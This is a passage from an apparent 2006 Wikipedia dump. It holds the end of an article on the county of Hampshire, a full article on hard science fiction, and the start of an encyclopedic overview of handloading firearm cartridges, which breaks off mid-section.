In the north and centre of the county the substrate is the [[Southern England Chalk Formation]] of [[Salisbury Plain]] and the [[South Downs]].  These are high hills with steep slopes where they border the clays to the south.  The hills dip steeply forming a [[Escarpment|scarp]] onto the [[River Thames|Thames valley]] to the north, and dip gently to the south.  The highest point in the county is [[Pilot Hill]], which reaches the height of 286 m (938 ft).  The [[downland]] supports a [[calcareous grassland]] habitat, important for wild [[flower]]s and [[insects]].  In the past Hampshire had little [[arable]] agriculture, but in the early [[20th century]] the demand for food led to the establishment of farms on the downs.  A large area of the downs are now protected from further agricultural damage by the East Hampshire [[Area of Outstanding Natural Beauty]]  The [[River Itchen, Hampshire|Itchen]] and [[River Test|Test]] are [[trout]] rivers that flow from the chalk through wooded valleys into Southampton Water.

Hampshire has a milder [[climate]] than most areas of the [[British Isles]], being in the far south with the climate stabilising effect of the sea, but protected against the more extreme weather of the [[Atlantic Ocean|Atlantic]] coast.  Hampshire has a higher average annual temperature than the UK average at 10.2 °C to 12 °[[Celsius|C]] {{ref|av_temp}}, average rainfall at 741&amp;ndash;1060 [[millimetre|mm]] per year {{ref|av_rainfall}}, and higher than average sunshine at over 1541 [[hour]]s per year {{ref|av_sunshine}}.

==History==
{{main|History of Hampshire}}

The chalk downland of the South Downs and southern edges of Salisbury Plain were settled in the [[neolithic]], and these settlers built [[hill forts]] and may have farmed the valleys of Hampshire.  Hampshire was part of an area named ''Gwent'' or ''Y Went'' by the Celts, which also covered areas of Somerset and Wiltshire.  In the [[Roman invasion of Britain]], Hampshire was one of the first areas to fall to the invading forces.  The county was occupied by [[Jutes|Jutish]] tribes until [[Saxon people|Saxon]] times.  Hampshire was one of the first Saxon [[shire]]s, recorded in [[755]], but for two centuries represented the western end of Saxon England, as advances into [[Dorset]] and [[Somerset]] were fought off by the Britons.  After the Saxons advanced west Hampshire became the centre of the [[Kingdom of Wessex]], and many Saxon kings are buried at Winchester.  A statue in Winchester celebrates the powerful [[King Alfred]], who stabilised the region in the [[9th century]].

[[Image:Winchester Cathedral.JPG|thumb|200px|Winchester Cathedral.]]
After the [[Norman Conquest]] the county was favoured by Norman kings who established the [[New Forest]] as a hunting forest.  The county was recorded in the [[Domesday Book]] divided into 44 [[hundred (division)|hundred]]s.  From the [[12th century]] the ports grew in importance, fuelled by trade with the continent, wool and cloth manufacture in the county, and the fishing industry, and a shipbuilding industry was established.

Over several centuries a series of [[castle]]s and [[fort]]s were constructed along the coast of the [[Solent]] to defend the harbours at Southampton and Portsmouth.  These include the Norman [[Portchester Castle]] which overlooks [[Portsmouth Harbour]], and a series of forts built by [[Henry VIII of England|Henry VIII]] including [[Hurst Castle]], situated on a sand [[spit (landform)|spit]] at the mouth of the Solent, [[Calshot Castle]] on another spit at the mouth of Southampton Water, and [[Netley Castle]].  Southampton and Portsmouth remained important harbours when rivals, such as [[Poole]] and [[Bristol]] declined, as they are amongst the few locations that combine shelter with deep water.  Southampton has been host to many famous ships, including the ''[[Mayflower]]'' and the ''[[RMS Titanic|Titanic]]'', the latter being staffed largely by Hampshire natives.

Hampshire played a large role in [[World War II]] due to its large [[Royal Navy]] harbour at Portsmouth, the army camp at [[Aldershot]] and the military [[Netley Hospital]] on Southampton Water, as well as its proximity to the army training ranges on [[Salisbury Plain]] and [[Purbeck]].  [[Supermarine]], the designers of the [[Supermarine Spitfire|Spitfire]] and other military aircraft, were based in Southampton, which led to severe bombing of the city.  Aldershot remains one of the [[British Army]]'s main permanent camps.

[[Image:NetleyRVCP-North.jpg|thumb|200px|Southampton from Netley Hospital.]]
The county has in the past been called &quot;Southamptonshire&quot; and appears as such on some [[Victorian era|Victorian]] maps.  Its name was officially changed from 'County of Southampton' to 'County of Hampshire' on [[April 1]], [[1959]].  The short form of the name, often used in postal addresses, is ''Hants''.

The [[Isle of Wight]] has traditionally been treated as part of Hampshire for some purposes, but has been administratively independent for over a century, obtaining a [[county council]] of its own in [[1890]]. The Isle of Wight became a full [[ceremonial counties of England|ceremonial county]] in [[1974]]. Apart from a shared police force and health authority there are now no formal administrative links between the Isle of Wight and Hampshire, though many organisations still combine Hampshire and the Isle of Wight. 

The towns of [[Bournemouth]] and [[Christchurch, Dorset|Christchurch]] also fall within the traditional county of Hampshire, but were ceded to [[Dorset]] in the local government reorganisation of 1974.

==Economy==
[[Image:050103 2300 hants bh.jpg|thumb|200px|The Beaulieu River.]]

Hampshire is a relatively affluent county, with a [[Gross domestic product]] (GDP) of [[Pound Sterling|£]]22.9 billion (£16.3 billion when excluding Southampton and Portsmouth).  This makes it the sixth largest economy in England, and is equal in size to the economy of [[Northern Ireland]], making up 2% each of the economy of the UK as a whole {{ref|gdp}}.

Portsmouth and Winchester have the highest job densities in the county, and there is therefore a high level of commuting into the cities.  Southampton has the highest number of total jobs and commuting both into and out of the city is high.  The county has a lower level of [[unemployment rate|unemployment]] than the national average, at 1.9% when the national rate was 3.3%, and as of March 2005 has fallen to 1.1%.  39% are employed by large firms, compared to a national average of 42%.  Hampshire has a considerably higher than national average employment in high-tech industries, but average levels in knowledge based industry.  25.21% of the population work in the [[public sector]] {{ref|economy}}.

Many rural areas of Hampshire have traditionally been reliant on [[agriculture]], though the county was less agricultural than most surrounding counties, and was mostly concentrated on [[dairy farming]].  The significance of agriculture as an employer and wealth creator has declined since the first half of the [[20th century]] and agriculture currently employs 1.32% of the population.  The [[New Forest]] area is a [[National Parks of England and Wales|National Park]], and [[tourism]] is a significant economic segment in this area.

The cities of Southampton and Portsmouth are both significant ports, with Southampton handling a large proportion of the national container freight and Portsmouth housing a large [[Royal Navy]] base.  The docks have traditionally been large employers in these cities, though again mechanisation has forced diversification of the economy.

==Demographics==
[[Image:Soton river test docks 01.jpg|thumb|200px|Southampton Docks.]]
At the [[Census 2001]] {{ref|census}} the ceremonial county recorded a population of 1,644,249, of which 1,240,103 were in the administrative county, 217,445 were in the [[unitary authority]] of Southampton, and 186,701 were in Portsmouth.  The population of the administrative county grew 5.6% from the [[1991]] census, Southampton grew 6.2% while Portsmouth remained unchanged, compared with 2.6% for England and Wales as a whole.  Eastleigh and Winchester grew fastest at 9% each.  The age structure of the population is similar to the national average.

96.73% of residents were indigenous, falling to 92.37% in Southampton.  The significant ethnic minorities are Asian at 1.34% and mixed race at 0.84%.  0.75% of residents were migrants from outside the UK.  73.86% stated their religion as [[Christianity]] and 16.86% were not religious.  Significant minority religions were [[Islam]] (0.76%) and [[Hinduism]] (0.33%).

==Politics==
Hampshire is divided into seventeen [[List of Parliamentary constituencies in Hampshire|parliamentary constituencies]].  Ten of these are represented by [[Conservative Party (UK)|Conservative]] [[Member of Parliament|MPs]], four by the [[Liberal Democrats (UK)|Liberal Democrats]] and three by [[Labour Party (UK)|Labour]].  Labour represent the large cities, including both Southampton constituencies ([[Southampton Test (UK Parliament constituency)|Test]] and [[Southampton Itchen (UK Parliament constituency)|Itchen]]) and [[Portsmouth North (UK Parliament constituency)|Portsmouth North]].  The Conservatives represent the most rural constituencies, [[Aldershot (UK Parliament constituency)|Aldershot]], [[New Forest West (UK Parliament constituency)|New Forest West]], [[New Forest East (UK Parliament constituency)|New Forest East]], [[Hampshire North West (UK Parliament constituency)|Hampshire North West]], [[Basingstoke (UK Parliament constituency)|Basingstoke]], [[Hampshire North East (UK Parliament constituency)|Hampshire North East]], [[Hampshire East (UK Parliament constituency)|Hampshire East]], [[Havant (UK Parliament constituency)|Havant]], [[Gosport (UK Parliament constituency)|Gosport]] and [[Fareham (UK Parliament constituency)|Fareham]].  The Liberal Democrats represent [[Winchester (UK Parliament constituency)|Winchester]], [[Romsey (UK Parliament constituency)|Romsey]], [[Portsmouth South (UK Parliament constituency)|Portsmouth South]] and [[Eastleigh (UK Parliament constituency)|Eastleigh]], all centred around towns.

At the 2005 local elections for Hampshire County Council the Conservative Party had a 43.69% share of the votes, the Liberal Democrats had 36.01% and Labour 16.08%.  Therefore 46 Conservatives, 28 Liberal Democrats and four Labour councillors sit on the County Council {{ref|county_council}}.  Southampton City Council, which is entirely independent, has 18 Liberal Democrat, 15 Labour and 15 Conservative councillors {{ref|soton_council}}.  Portsmouth City Council, also independent, has 20 Liberal Democrat, 18 Conservative, seven Labour and one independent councillor {{ref|ports_council}}.

==Cities, towns, and villages==
[[Image:Uk-basingstoke.jpg|thumb|200px|New apartment blocks in the rapidly changing Basingstoke.]]
Hampshire's [[county town]] is [[Winchester]], a historic city that was once the capital of the ancient kingdom of [[Wessex]]. The port cities of [[Southampton]] and [[Portsmouth]] were split off as independent [[unitary authorities]] in [[1997]], although they are still included in Hampshire for ceremonial purposes.  [[Fareham]], [[Gosport]] and [[Havant]] have grown into a [[conurbation]] that stretches along the coast between the two main cities.  The three cities are all [[university]] cities, Southampton being home to the [[University of Southampton]] and [[Southampton Solent University]] (formerly Southampton Institute), Portsmouth to the [[University of Portsmouth]], and Winchester to the [[University of Winchester]] (formerly known as University College Winchester; King Alfred's College).

Hampshire lies outside the [[green belt]] area of restricted development around [[London]], but has good [[railway]] and [[motorway]] links to the capital, and in common with the rest of the south-east has seen the growth of [[dormitory town]]s since the [[1960s]].  [[Basingstoke]], in the north of the county, has grown from a country town into a business and finance centre.  [[Aldershot]], [[Portsmouth]], and [[Farnborough, Hampshire|Farnborough]] have strong military associations with the [[British Army|Army]], [[Royal Navy]] and [[Royal Air Force]] respectively.  The county also includes several market towns; [[Andover, Hampshire|Andover]], [[Bishop's Waltham]], [[Lymington]], [[Petersfield, Hampshire|Petersfield]], [[Ringwood]], [[Romsey]], and [[Whitchurch, Hampshire|Whitchurch]].

'''Towns by population size:''' (2004 est.)
*[[Southampton]] - 221,100
*[[Portsmouth]] - 188,700
*[[Havant]] - 116,300
*[[Fareham]] - 107,977
*[[Winchester]] - 35,200

''For the complete list of settlements see [[List of places in Hampshire]].''

==Culture, arts and sport==
[[Image:Portsmouth.naval.750pix.jpg|thumb|200px|Portsmouth Harbour.]]
Hampshire has [[literature|literary]] connections, being the birthplace of authors including [[Jane Austen]], [[Charles Dickens]] and [[Charles Kingsley]].  Austen lived most of her life in Hampshire, where her father was rector of [[Steventon]], and wrote all of her novels in the county.  Hampshire also has many [[visual art]] connections, claiming the painter [[John Everett Millais]] as a native, and the cities and countryside have been the subject of paintings by [[L. S. Lowry]] and [[J. M. W. Turner]].

Hampshire's relatively safe waters have allowed the county to develop as one of the busiest [[sailing]] areas in the country, with many [[yacht]] clubs and several manufacturers on the Solent.  The sport [[cricket]] was largely developed in south-east England, with one of the first teams forming at [[Hambledon, Hampshire|Hambledon]] in [[1750]].  [[Hampshire County Cricket Club]] today is a successful [[first-class cricket|first-class]] team, captained by [[Shane Warne]].  Hampshire has several [[association football]] teams, the most successful being [[Premier League]] [[Portsmouth F.C.]] and [[Football League Championship|Championship]] side [[Southampton F.C.]], which have traditionally been fierce rivals.

==Transport==
There is an international [[airport]] with its own rail station situated between Southampton and Eastleigh, [[Southampton Airport]], and cross-channel ferries link the county to the Isle of Wight and [[Europe]]an continent.  The [[South Western Main Line]] railway from [[London]] to [[Weymouth]] runs through Winchester and Southampton, and the [[Wessex Main Line]] from [[Bristol]] to Portsmouth also runs through the county.  The [[M3 motorway]] connects the county to London. The construction of the Twyford Down cutting near Winchester caused major controversy by cutting through a series of ancient trackways (the Dongas) and other features of archeeological significance. The [[M27 motorway]] serves a bypass for the major conurbations and as a link to other settlements on the south coast.  Other important roads include the [[A3 road|A3]], [[A31 road|A31]] and [[A36 road|A36]].

The county has a high level of car ownership, with 15.7% having no access to a private car compared to 26.8% for England and Wales.  The county has a lower than average use of trains (3.2% compared to 4.1% for commuting) and buses (3.2% to 7.4%) but a higher than average use of bicycles (3.5% to 2.7%) and cars (63.5% to 55.3%) {{ref|transport}}.

==See also==
* [[List of places in Hampshire|List of places of interest in Hampshire]]
* [[List of Parliamentary constituencies in Hampshire]]
* [[Wikipedia:List of images/Places/Europe/United Kingdom/Counties/Hampshire|List of images of Hampshire]]
* [[Business in Hampshire]]

==External links==
{{Commonscat|Hampshire}}
*[http://www.hampshire.gov.uk Hampshire County Council]
*[http://www.bbc.co.uk/hampshire BBC Hampshire]
*[http://www.steinsky.me.uk/hampshire.php Photographs of Hampshire]
*[http://www.hantsphere.org.uk/ Hantsphere local history]
* West, Ian, 2005. &quot;[http://www.soton.ac.uk/~imw/ Geology of the Wessex coast and Southern England]&quot;, [[Southampton University]].
*[http://www.hampshireonline.co.uk Hampshire news and information]

==Notes==
# {{note|av_temp}} Met Office, 2000. [http://www.metoffice.com/climate/uk/averages/19712000/tmean/17.gif Annual average temperature for the United Kingdom].
# {{note|av_rainfall}} Met Office, 2000. [http://www.metoffice.com/climate/uk/averages/19712000/rr/17.gif Annual average rainfall for the United Kingdom].
# {{note|av_sunshine}} Met Office, 2000. [http://www.metoffice.com/climate/uk/averages/19712000/ss/17.gif Annual average sunshine for the United Kingdom].
# {{note|gdp}} Hampshire County Council, 2002. ''[http://www.hants.gov.uk/profile/2002/profiles-21.html Economic factors].''
# {{note|economy}} Hampshire County Council, 2004. ''[http://www.hants.gov.uk/factsandfigures/profileofhampshire-index.html Profile of Hampshire].''
# {{note|census}} [[Office for National Statistics]] &amp; Hampshire County Council, 2003. [http://www.hants.gov.uk/census/ Census 2001 data]
# {{note|county_council}} Hampshire County Council, 2005. [http://election.hants.gov.uk/hwstate.aspx Local election results].
# {{note|soton_council}} Southampton City Council, 2005. [http://www.southampton.gov.uk/council/councillors/default.asp#0 Local election results].
# {{note|ports_council}} Portsmouth City Council, 2005. [http://www.portsmouth.gov.uk/yourcouncil/1121.html List of councillors].
# {{note|transport}} Hampshire County Council, 2005. [http://www.hants.gov.uk/factsandfigures/ Facts and Figures website].

==References==
# [[1911 Encyclopædia Britannica|Encyclopædia Britannica]], 1911. &quot;[http://59.1911encyclopedia.org/H/HA/HAMPSHIRE.htm Hampshire]&quot;.
# Draper, Jo. 1990. ''Hampshire''. Wimborne: Dovecote Press. ISBN 0946159823
# ''Pigot &amp; Co's Atlas of the Counties of England'', 1840.  London: J Pigot &amp; Co.


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  <page>
    <title>Hard science fiction</title>
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      <text xml:space="preserve">'''Hard science fiction''', or '''hard SF''', is a subgenre of [[science fiction]] characterized by an interest in [[science|scientific]] detail or accuracy. However, there is a great deal of disagreement among readers and writers over what exactly constitutes an interest in scientific detail.  Many hard SF stories focus on the [[natural sciences]] and technological developments, but many others leave technology in the background. Others contend that if the technology is left in the background it is an example of [[soft science fiction]].  Another distinction within the genre revolves around portrayals of the human condition.  Some authors seek to reflect technical accuracy within an advanced, nearly utopian society in which mankind has attained victory over most human ills; while others seek to portray the impact of technology on the human race with human defects still firmly in place and sometimes even magnified. 

Some authors scrupulously eschew such implausibilities as [[faster-than-light]] travel, while others accept such plot devices but focus on realistically depicting the worlds that such a technology might make accessible; the hard SF writer is permitted to foresee the automobile provided that he also foresees the traffic jam.

In hard science fiction, the main characters are usually working scientists, engineers, military personnel, or [[astronauts]]. Character development is often secondary to explorations of [[astronomy|astronomical]] or [[physics|physical]] phenomena, but some authors foreground the [[human condition]] or the idea that individuals will have different values and ways of life in future societies where technological and economic circumstances have changed. Even in such cases, however, a common trope of hard SF hinges the resolution of the plot on a technological point.
 
Hard science fiction writers usually attempt to make their stories consistent with known science at the time of publication. Even when writing hard SF set in [[alternate universes]] where different physical laws apply, authors still attempt to create an internally consistent set of physical laws. 

See the article on [[Hal Clement]] for a description of how one hard science fiction author viewed his craft.

==Hard SF authors==

Well-known authors often said to be practitioners of hard SF include;

* [[Poul Anderson]]
* [[Catherine Asaro]]
* [[Isaac Asimov]]
* [[Iain M. Banks]]
* [[John Barnes (author)|John Barnes]]
* [[Stephen Baxter]]
* [[Greg Bear]]
* [[Gregory Benford]]
* [[Ben Bova]]
* [[David Brin]]
* [[Orson Scott Card]]
* [[Arthur C. Clarke]]
* [[Hal Clement]]
* [[John Cramer]]
* [[Greg Egan]]
* [[Michael Flynn]]
* [[Robert Forward]]
* [[Joe Haldeman]]
* [[Peter F. Hamilton]]
* [[Robert A. Heinlein]]
* [[James P. Hogan (writer)|James P. Hogan]]
* [[Fred Hoyle]]
* [[Nancy Kress]]
* [[Geoffrey A. Landis]]
* [[Stanisław Lem]]
* [[Wil McCarthy]]
* [[Larry Niven]]
* [[Jerry Pournelle]]
* [[Paul Preuss]]
* [[Alastair Reynolds]]
* [[Kim Stanley Robinson]]
* [[Joan Slonczewski]]
* [[Allen Steele]]
* [[Charlie Stross]]
* [[Boris and Arkady Strugatsky]]
* [[David Weber]]
* [[H. G. Wells]]
* [[John Varley]]
* [[Jules Verne]]
* [[Vernor Vinge]]

== Hard science fiction in other media ==

Hard science fiction used to be largely a literary genre, as the complexities of physics were initially perceived to be poorly suited to other media. This perception has been somewhat modified in the latter parts of the [[20th century]] and the early [[21st century]].

===Film===
One notable early exception to the rule that hard SF is essentially a prose form is ''[[2001: A Space Odyssey (film)|2001: A Space Odyssey]]'', though the movie does not present the scientific detail (from physics, computer science, and other fields) contained in the novel. Its sequel, ''[[2010: Odyssey Two|2010]]'', is also fairly faithful to the laws of physics and the practicalities of space travel when compared to other mainstream SF movies.

{{spoiler-about|''2001: A Space Odyssey'' and its sequel ''2010: Oddyssey Two''}}

However, the alien presence encountered during these films is able to operate outside of the laws of known physics.

{{endspoiler}}

''[[Blade Runner]]'' and ''[[Alien (film)|Alien]]'' are sometimes regarded as hard science fiction films, although both are in fact vague about the scientific basis of the technologies depicted. ''The Aliens Colonial Marines Technical Manual'' explains with obssessive detail the technology depicted in ''Alien'', but some explanations — notably regarding faster-than-light travel — remain questionable.

=== Television ===

By the standards of print science fiction, there has been little or no television that would qualify as hard SF. In particular, science itself, and scientific problems, speculations, and discoveries, are rarely if ever a focus of these shows' plots. In their focus on character drama and adventure, television shows are usually much closer to the [[Space opera|space opera]] subgenre. However, some shows have made more of an effort than others toward scientific accuracy.

==== ''Babylon 5'' and ''Crusade'' ====

One science-fiction [[television]] show which has consciously attempted to portray physics correctly is [[J. Michael Straczynski]]'s ''[[Babylon 5]]'', albeit inconsistently especially in later seasons of its half-decade run. The sequel series, ''[[Crusade (TV series)|Crusade]]'', went so far as to formally enter into a working partnership with [[NASA]]'s [[Jet Propulsion Laboratory]] to ensure scientific accuracy. Certain dramatic elements such as sounds in space, visible lasers in a vacuum, etc., are probably to be expected or even demanded by the casual viewer not deeply familiar with the real science involved, and any television or film SF producer must tread a thin line between pleasing the lowest and highest common denominators in his audience.  However, even in these cases, the producers came up with explanations which attempted to produce a consistent physics (i.e. the sounds in space were background music and the lasers were not lasers but plasma bolts).

==== The revised ''Battlestar Galactica'' ====

The so-called &quot;re-imagined&quot; ''[[Battlestar Galactica (2003)|Battlestar Galactica]]'' also uses some of the features of hard SF in order to make the series more realistic than previous television series.  

For instance, [[extraterrestrial life]] does not appear to exist, thus rendering the story conflicts more internal than external.

The [[Cylon (Battlestar Galactica)|Cylons]] of the original series, which consisted of the robotic soldiers of a nearly-extinct reptilian alien race, have been revised as [[android]] servants of humans who later rebel upon gaining some form of [[artificial sentience]]. Since an [[armistice]], the Cylons have evolved from their [[Battlestar Galactica (1978)|original series]]' robot stylings into a form mimicking humans down to the [[cellular]] level. This adds dramas in the form of espionage, psychological manipulation, and suspense, since anyone in the series could turn out to be a disguised Cylon [[sleeper agent|agent]].

Additionally, technology deployed on ''Battlestar'' is similar to present-day technologies: the Cylons and humans use [[projectile|projectile weapons]] and all ships utilize [[reaction control system]]s similar to those seen on the [[NASA]] [[Space Shuttle program|space shuttle]]. Sounds in the space dogfights are mostly muted, by contrast with the impossible sounds of explosions in space that occur most televised space opera. 

All of the ships in the rag-tag fleet accompanying ''Galactica'' have [[faster-than-light]] ability, although at  speeds less than the [[speed of light]] the fleet moves only as fast as the slowest ship. Lightspeed physics appear to avoid violation of [[General Relativity]] principles by using the [[wormhole]] concept of apparent FTL travel, instead of using fantastic energies or materials (à la &quot;[[anti-matter]]&quot; or &quot;[[Dilithium|dilithium crystal]]s,&quot; respectively) for FTL travel. Likewise, the series avoids nonsensical [[technobabble]] to explain events and does not rely on the [[science fiction themes|science fiction cliché]] of [[deflector shield|energy shield]]s.

====''Firefly''====
[[Joss Whedon]]'s short-lived TV series ''[[Firefly (TV series)|Firefly]]'' attempted to be 'harder' than most Television science fiction.  There are no extra-terrestrials and the earth-like environments of the worlds are explained as the result of [[terraforming]]. In addition, ''Firefly'' is one of very few TV series to have accurately portrayed the silence of space.

=== Manga ===
[[Masamune Shirow]] is a [[manga]] artist who works in the hard SF genre. His works often examine the impact of advanced future technology in society, particularly [[cybernetics]] and information networks. He is known for going into great technical and scientific detail, to the point of using numerous captions and footnotes to explain technical aspects to the reader or even suggest possible theories/implementations for fictional technology. This extends to his drawings, where he will sometimes make a note to explain the function of a stylistic feature of a weapon or robot. He has also created the [[Neurohard]] project, a world in the hard science fiction style to be used by him and other artists. Shirow's work is unique in that it develops in equally great depth the social/cultural aspects in a 'hard' style, again providing notes on ideas, philosophy, etc. and using a somewhat technical approach in discussing ethics and social issues. The ''[[Ghost in the Shell]]'' manga (but not the [[anime]]) is a good example of his serious work. ''[[Appleseed]]'' is another story featuring heavy use of advanced technology.

=== Anime ===
Also in anime, ''[[Mobile Suit Gundam]]'' marked the maturation of the giant robot genre. Giant warrior robots were initially depicted as colossal superheroic metal giants with inexplicable (sometimes campy) superscience that bordered on magic. Gundam turned these robots into high-tech military hardware that were later given background stories based on a modern understanding of robotics, hydraulics, and military hardware. This gave rise to the [[real robot]] subgenre, a subset of [[mecha]], which also spawned classics such as ''[[Votoms]]'', ''[[The Super Dimension Fortress Macross]]'', and ''[[Robotech]]''. (The creators of the first ''Macross'' series do note that this robotic mecha story is not hard science fiction, but a combination of elements from hard science fiction and other science fiction sub-genres.)

[[Cowboy Bebop]] mixes many of the elements of hard science fiction with some elements that are more fantastic.  For instance, there is a distinct lack of energy weapons (or [[lasers]]) with a single exception:  Spike's plasma cannon.  Most hand weapons are typical [[firearms]], even to the point of being models available today.  Spaceships usually fire [[rocket]]s, [[rocket propelled grenade]]s, or normal [[machine gun]]s.  Most episodes portray physical flight in a way consistent with [[aerodynamics]] principals.  When piloted in a vacuum the various ships require reaction jets to turn, and when inside the atmosphere control surfaces usually move correctly.  Engines require fuel, and firing weapons produces acceleration.  On the other hand, some episodes depict characters with mysterious powers that have no basis in science.

== Miscellaneous ==

An example of a web-based hard science fiction project (where many people contribute different pieces of what becomes a coherent story) is [[Orion's Arm]].

[[A Mind Forever Voyaging]] is a [[text adventure]] written by [[Steve Meretzky]] while working for the [[software]] company [[Infocom]] in [[1986]].  The player assumed the role of a sophisticated [[computer]] with [[artificial intelligence]] tasked with investigating the effects of proposed [[legal]] and [[constitutional]] [[reforms]] in a future [[United States|American]] [[society]].  The game was clearly intended as a critique of political and social trends in American society during the [[Reagan]] administration.

A fan organization that has grown up around Hard Science Fiction is [[General Technics]], populated by scientists, technical folks, and others with a specific interest in this area.  General Technics' name is taken from the organization that created a global-scale computer in [[John Brunner (novelist)|John Brunner]]'s novel, ''[[Stand on Zanzibar]]''.  General Technics, though concentrated in the American Midwest, has a global membership.

==External links==
*[http://www.hardsf.net HardSF.net : Hard Science Fiction Culture]

== See also ==

* [[Science fiction]]
* [[Soft science fiction]]
* [[Science fiction themes]]

[[Category:Science fiction genres]]

[[cs:Hard science fiction]]
[[es:Ciencia ficción dura]]
[[ko:하드 SF]]
[[it:Fantascienza hard]]
[[nl:Harde SF]]
[[ja:ハードSF]]</text>
    </revision>
  </page>
  <page>
    <title>Handloading</title>
    <id>13863</id>
    <revision>
      <id>41252052</id>
      <timestamp>2006-02-26T02:00:10Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>sp (4): becomming→becoming, desireable→desirable, interchangable→interchangeable, ocasions→occasions</comment>
      <text xml:space="preserve">'''Handloading''' is the process used to create [[firearm]] [[cartridge (weaponry)|cartridges]] by hand versus those put together ''en masse'' and sold commercially, generally in packages of 6 to 50.  When previously fired cases are used, the process is often called '''reloading'''.  Generally only boxer primed cases (see [[internal ballistics]]) are reloaded, though there are exceptions.

==Reasons for handloading==
The most common motivations for handloading cartridges are increased accuracy and cost savings, though handloaders may sacrifice one for the other. Reloading fired cases can save the shooter a significant amount of money, as the case is usually the major cost of a cartridge.  The handloader can also create cartridges for which there are no commercial equivalents, such as [[wildcat cartridge]]s. Collectors of obsolete firearms often have to handload since many obsolete cartridges are no longer produced. [[Hunter]]s may desire cartridges with specialized bullets. [[Shooting sports|Target shooters]] seek optimum accuracy. Many handloaders customize their cartridges to their specific gun. This is usually in the pursuit of accuracy, though it can also lead to an increase in case life. For these specialty applications, cost is usually not a primary motivator, and such cartridges may cost more than commercial ones.
As with any hobby, the pure enjoyment of the reloading process may well be the most important benefit.

==Variables in the reloading process==
The handloading process can realize increased accuracy through improved consistency of manufacture. Each cartridge loaded can have each component carefully matched to the rest of the cartridges in the batch. Brass cases can be matched by volume and weight, [[bullet]]s by weight and concentricity, [[Smokeless powder|powder]] charges by weight. [[Percussion cap|Primers]] also play a role in accuracy and consistency, but the handloader usually has no ability to manufacture these, so the handloader is limited to experimenting with different primers available commercially. In addition to these items that are considered critical, the equipment used to assemble the cartridge also have an effect on its performance; [[die (manufacturing)|dies]] used to size the cartridges can be matched to a given rifle's chamber, high precision scales can give more consistent and accurate measures of powder.

==Atypical handloading==
It is typically agreed that [[rimfire]] cartridges (e.g. [[.22 Long Rifle]]) are not hand-loaded, although there are some shooters that unload commercial rimfire cartridges, and use the primed case to make their own loads, or to generate special rimfire wildcat cartridges.  These cartridges can be remarkably labor intensive to produce, and the process of unloaded the live rimfire cases can be dangerous, since any crushing of the thin brass rim can ignite the primer and cause the case to explode.

Berdan primers, with their off-center flash holes and lack of self contained anvil, are more difficult to work with than the easily removed Boxer primers.  The primers may be punctured and pried out from the rear, or extracted with [[hydraulic]] pressure.  Primers must be selected carefully, as there are more sizes of Berdan primers than the standard large and small pistol, large and small rifle of Boxer primers.  The case must also be inspected carefully to make sure the anvil has not been damaged, because this could result in a failure to fire.

==Materials required==
*[[Firearm brass|Cases]] or [[shotshell]] hulls.  For shotshells, [[plastic]] or [[paper]] cases can be reloaded, though plastic is more durable.  [[Steel]] and [[aluminium]] cases do not have the correct qualities for reloading, so a brass case is essential.  
*[[Gun powder]] of an appropriate type.  Generally, [[handgun]] cartridges and shotshells use faster powders, [[rifle]] cartridges use slower powder. Powder is generally of the 'smokeless' type in modern cartidges, although on occasions the older 'black' powder more commonly known as 'gunpowder' may be used.
*[[Bullet]]s, or shot and wads for shotshells.
*[[Percussion cap|Primer]]s

==Reloading process==
The operations performed when handloading are:
*Case inspection (reloading only)
*Remove the fired primer (reloading only)
*[[Ream]] or [[swage]] crimp from primer pocket (reloading military cases only)
*Resize the case (reloading only)
*Expand the neck to accept the bullet
*Seat a new primer
*Add a measured amount of powder
*Seat the bullet in the case
*[[Crimp]] the bullet in place (optional)
*Cartridge inspection

When previously fired cases are used, they must be inspected before loading.  Cases that are dirty or tarnished are polished in a tumbler to remove [[oxidation]] and allow easier inspection of the case.  Cracked necks, non-reloadable cases (steel, aluminium, or Berdan primed cases), and signs of head separation all are reasons to reject a case.  Cases are measured for length, and any that are over the recommended length are trimmed down to the minimum length.  Competition shooters will also sort cases by brand and weight to ensure consistency.

Removal of the primer, called ''decapping'', is usually done with a die containing a steel pin that punches out the primer.  Berdan primed cases require a different technique, either a [[hydraulic]] ram or a hook that punctures the case and levers it out from the bottom.  Military cases have crimped in primers, and decapping leaves a slight ridge that inhibits seating a new primer.  A reamer or a swage is used to remove this crimp.

When a cartridge is fired, the internal pressure expands the case to fit the chamber.  To allow ease of chambering the cartridge when it is reloaded, the case is swaged back to size.  Competition shooters, using [[bolt action]] rifles which are capable of camming a tight case into place, often resize only the neck of the cartridge, called ''neck sizing'', as opposed to the normal full length resizing process.  Neck sizing is only useful for cartridges to be re-fired in the same firearm, as the brass may be slightly oversized in some dimensions for other chambers, but the precise fit of case to chamber will allow greater consistency and therefore greater potential accuracy.  [[Semiautomatic]] rifles and rifles with [[SAAMI]] minimum chamber dimensions often require a special ''small base'' resizer, that sizes further down the case than normal dies, and allow for more reliable feeding.

Once the case is sized down, the inside of the neck of the case will actually be slightly smaller than the bullet diameter.  To allow the bullet to be seated, the end of the neck is slightly expanded to allow the bullet to start into the case.  Boattailed bullets need very little expansion, while unjacketed [[lead]] bullets require more expansion to prevent shaving of lead when the bullet is seated.

Priming the case is the most dangerous step of the loading process, since the primers are pressure sensitive.  Seating a Boxer primer not only places the primer in the case, but it seats the [[anvil]] of the primer down onto the priming compound, in effect arming the primer.  A correctly seated primer will sit slightly below the surface of the case.  A primer that protrudes from the case can cause a number of problems; it will tend to hang up when feeding, and the anvil will not be seated correctly so the primer may not fire when hit by the firing pin.  Berdan primers must also be seated carefully, and since the anvil is part of the case, the anvil must be inspected before the primer is seated.

The quantity of gunpowder is specified by weight, but almost always measured by volume.  A powder scale is needed to determine the correct volume setting for the powder measure, as loads are specified with a precision of 0.1 grain (0.007 grams).  Competition shooters will generally throw a slightly underweight charge, and use a ''powder trickler'' to add few granules at a time to the charge to bring it up to the exact weight for maximum consistency.  Special care is needed when charging large capacity cases with fast burning, low volume powders.  In this instance, it is possible to put two charges of powder in a case without overflowing the case, which can lead to dangerously high pressures and a significant chance of bursting the chamber of the firearm.  Non-magnum [[revolver]] cartridges are the easiest to do this with, as they generally have relatively large cases, and tend to perform well with small charges of fast powders.

